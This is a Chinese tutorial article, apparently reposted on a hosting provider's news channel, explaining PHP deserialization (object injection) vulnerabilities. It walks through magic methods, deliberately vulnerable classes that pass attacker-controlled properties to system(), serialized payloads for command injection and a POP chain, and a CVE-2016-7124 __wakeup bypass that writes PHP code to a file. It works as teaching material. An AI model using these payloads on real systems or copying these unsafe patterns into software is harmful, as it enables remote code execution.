您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“網(wǎng)絡(luò)安全中有關(guān)php的漏洞分析”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學習一下“網(wǎng)絡(luò)安全中有關(guān)php的漏洞分析”這篇文章吧。
所有php里面的值都可以使用函數(shù)serialize()來返回一個包含字節(jié)流的字符串來表示。unserialize()函數(shù)能夠重新把字符串變回php原來的值。 序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字。 所有php里面的值都可以使用函數(shù)serialize()來返回一個包含字節(jié)流的字符串來表示。unserialize()函數(shù)能夠重新把字符串變回php原來的值。 序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字。序列化的例子
<?php /** * * @authors daiker (daikersec@gmail.com) * @date 2017-12-22 15:39:43 * @version $Id$ */ error_reporting(E_ALL); $var_int = 1; $var_str = "123"; $var_float = 1.2; $var_bool = true; $var_arr = array('1' => 1,1.2,false ); class ClassName { var $var_name = 1; function myfunction(){ return "1"; } } $arrayName = array($var_int,$var_str,$var_float,$var_bool,$var_arr,new ClassName ()); foreach ($arrayName as $key => $value) { echo serialize($value)."<br/>"; }
結(jié)果是
i:1; s:3:"123"; d:1.2; b:1; a:3:{i:1;i:1;i:2;d:1.2;i:3;b:0;} O:9:"ClassName":1:{s:8:"var_name";i:1;}
從例子中我們可以看到,變量,數(shù)組,對象可以被序列化。變量的值會被保存下來。以:
隔開,類名會被保存下來,類變量,類變量名和類變量值會被保存下來,類方法不會被保存起來。
反序列化就是將序列化后的字符串轉(zhuǎn)化回數(shù)組和對象看例子
<?php /** * * @authors daiker (daikersec@gmail.com) * @date 2017-12-22 16:02:17 * @version $Id$ */ $un_arr_str = 'a:3:{i:1;i:1;i:2;d:1.2;i:3;b:0;}';//$var_arr = array('1' => 1,1.2,false ); $un_class_str = 'O:9:"ClassName":1:{s:8:"var_name";i:1;}'; var_dump(unserialize($un_arr_str)); $O = unserialize($un_class_str); // var_dump($O); var_dump($O->var_name);
這里的結(jié)果是
array(3) { [1]=> int(1) [2]=> float(1.2) [3]=> bool(false) } NULL
比較奇怪的是為什么第二個會是NULL。因為將對象序列化之后,只是保存它的關(guān)鍵數(shù)據(jù),對于這個類的具體內(nèi)容一無所知。所以反序列回一個對象的時候,需要反序列的上下文中存在模板(這里就是類的定義)。
PHP 將所有以 __(兩個下劃線)開頭的類方法保留為魔術(shù)方法。下面舉一個例子。
class ClassName { function __construct(){ echo "Hello,I am __construct"; } } new ClassName();
這里的輸出結(jié)果是
Hello,I am __construct
其實這里的一個對象實例化的過程中默認會調(diào)用的__construct()。php常用的魔術(shù)函數(shù)有
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo()
這里們并非每個都會在這里面用到,下面用一個例子來說下看幾個常用到的魔術(shù)函數(shù)。
<?php /** * * @authors daiker (daikersec@gmail.com) * @date 2017-12-22 16:24:32 * @version $Id$ */ class ClassName { private $name ="123"; function __construct(){ echo "Hello,I am __construct"."<br/>"; } function __destruct(){ echo "Hello,I am __destruct"."<br/>"; } function __wakeup(){ echo "Hello,I am __wakeup"."<br/>"; } function __sleep(){ echo "Hello,I am __sleep"."<br/>"; return array($this->name); } function __get($name){ echo "Hello,I am __get"."<br/>"; return $this->name; } function __toString(){ echo "Hello,I am __toString"."<br/>"; return "Hello"; } } $O = new ClassName(); $s= serialize($O); echo $s."<br/>"; $O = unserialize($s); $O."<br/>"; $O->nothing;
從例子我們可以看出,當初序列化一個對象是默認會調(diào)用__sleep
,反序列化是會調(diào)用__wakeup
,而__construct
會在實例化一個對象是被調(diào)用,__desturct
會在對象不再使用或者程序退出時自動調(diào)用, __toString
會在對象被當做字符串時使用(特別注意字符串連接符.
)。__get
會在讀取不可訪問的屬性的值的時候調(diào)用
先舉一個反序列化漏洞例子
<?php /** * * @authors daiker (daikersec@gmail.com) * @date 2017-12-22 16:45:11 * @version $Id$ */ class ClassName { var $ip; function __wakeup(){ system('ping -c 4'.$this->ip); } } $O = unserialize($_GET['daiker']);
我們分析這串代碼,可以得出一下結(jié)論
反序列化的的字符串我們可控
反序列化默認會調(diào)用__wakeup()
變量ip是會保存在反序列化的字符串里面的,我們可控所以我們下面構(gòu)造payload。
<?php * @authors daiker (daikersec@gmail.com) * @date 2017-12-22 16:45:11 * @version $Id$*/ class ClassName { var $ip = "|whoami";} echo urlencode(serialize(new ClassName()));
然后http://127.0.0.1/php-obj/example4.php?daiker=O%3A9%3A%22ClassName%22%3A1%3A%7Bs%3A2%3A%22ip%22%3Bs%3A7%3A%22%7Cwhoami%22%3B%7D
就可以執(zhí)行whoami
,所以這里就導致RCE所以總結(jié)來講,PHP對象注入(又叫反序列化漏洞),需要幾點條件。
反序列化字符串可控
有魔術(shù)方法會調(diào)用對象屬性
對于反序列化的漏洞利用的效果取決于魔術(shù)方法里面對成員屬性的調(diào)用方式,如上面的system()
就會導致RCE,也可能是注入,任意文件上傳等問題。
看下面一個例子
<?php /** * @authors daiker (daikersec@gmail.com) * @date 2017-12-22 19:08:38 * @version $Id$*/class ClassName{ private $a = 1; protected $b =2; public $c =3;// }echo serialize(new ClassName())."";echo urlencode(serialize(new ClassName()));
看輸出結(jié)果
O:9:"ClassName":3:{s:12:"ClassNamea";i:1;s:4:"*b";i:2;s:1:"c";i:3;}O%3A9%3A%22ClassName%22%3A3%3A%7Bs%3A12%3A%22%00ClassName%00a%22%3Bi%3A1%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A2%3Bs%3A1%3A%22c%22%3Bi%3A3%3B%7D%
一個個比較,我們會發(fā)現(xiàn)不可打印字符打印不出來。如果我們把可打印字符用作payload,會利用失敗.如果是private 的變量,序列化的時候就會變成\x00類名\x變量名
,這里就是\xClassName\x00a
,urlencode之后變成%00ClassName%00a
。如果是protected的變量,序列化之后就會變成\x00\x2A\x00變量名
。
前面說到,要找反序列化漏洞,要有兩個點。第一個是反序列化的參數(shù)可控,第二個是有魔術(shù)方法調(diào)用對象屬性。但是我們往往會遇到一個問題,就是我們反序列化的參數(shù)可控,但是,沒有合適的魔術(shù)方法,或者是魔術(shù)方法對對象屬性的調(diào)用方法無法利用。這時候就有人提出了一個新的思路叫做POP Chain(跟二進制里面的ROP Chain 思路很像)。POP chain利用的條件是找到的魔術(shù)方法不可以直接利用,但它有調(diào)用其它方法或者使用其它的變量時,可以在其它的類中尋找同名的方法或是變量,直到可以利用的點。下面看一個簡單的例子。
<?php /** * * @authors daiker (daikersec@gmail.com) * @date 2017-12-22 19:41:17 * @version $Id$ */ class One{ function myfunction(){ echo "Hello,world"; } } class Another{ var $cmd ; function myfunction(){ $this->attack(); } function attack(){ system($this->cmd); } } class ClassName { var $class ; function __construct(){ $this->class=new One(); } function __wakeup(){ $this->class->myfunction(); } } $O = unserialize($_GET['daiker']);
我們分析下代碼,可以發(fā)現(xiàn)一下幾點
反序列化參數(shù)可控
存在魔術(shù)方法__construct(),這里不可以直接利用
__construct()調(diào)用了myfunction(),myfunction()不可以利用
其他類存在同名函數(shù)myfunction(),且另外一個類里面的Myfunction不可以單獨被利用,但是存在可被利用的函數(shù)system()
構(gòu)造payload
<?php /** * * @authors daiker (daikersec@gmail.com) * @date 2017-12-22 20:26:02 * @version $Id$ */ class Another{ var $cmd; function __construct(){ $this->cmd = "whoami"; }//跟直接寫 var $cmd = "whoami',不寫__construct一樣,這里演示還有這種寫法 } class ClassName { var $class ; function __construct(){ $this->class=new Another(); } } echo serialize(new ClassName());
然后提交http://127.0.0.1/php-obj/pop.php?daiker=O:9:%22ClassName%22:1:){s:5:%22class%22;O:7:%22Another%22:1:{s:3:%22cmd%22;s:6:%22whoami%22;}}
我們看一個代碼
<?php class object{
public $var = "hello,world"; function get_flag(){ return 'aaaa'; } function __wakeup(){ $this->var = "hello,wold"; } function __destruct(){ $fp=fopen("F:\\phpStudy\\WWW\\unse\\hello.php","w"); fputs($fp,$this->var); fclose($fp); } } $content = $_POST['content'];$object = unserialize($content);?>
對比上面的代碼,可以發(fā)現(xiàn)多了
function __wakeup(){ $this->var = "hello,wold"; }
這個魔術(shù)函數(shù)的作用就是在反序列化的時候會執(zhí)行函數(shù)里面的東西,在這題,,我們就算更改了var
這個變量的值,wakeup還是會把他改回來。這時候就要用到一個CVE。谷歌發(fā)現(xiàn)了CVE-2016-7124。簡單來說就是當序列化字符串中,如果表示對象屬性個數(shù)的值大于真實的屬性個數(shù)時就會跳過**wakeup的執(zhí)行。參考https://bugs.php.net/bug.php?id=72663,某一種情況下,出錯的對象不會被毀掉,會繞過__wakeup函數(shù)、引用其他的魔術(shù)方法。我們只要保證成員屬性數(shù)目大于實際數(shù)目時可繞過wakeup方法,原來的序列化字符串是O:6:"object":1:{s:3:"var";s:18:"<?php phpinfo() ?>";}
把object后面的1更改為大于1的數(shù)字就可以了。。
成功繞過
以上是“網(wǎng)絡(luò)安全中有關(guān)php的漏洞分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。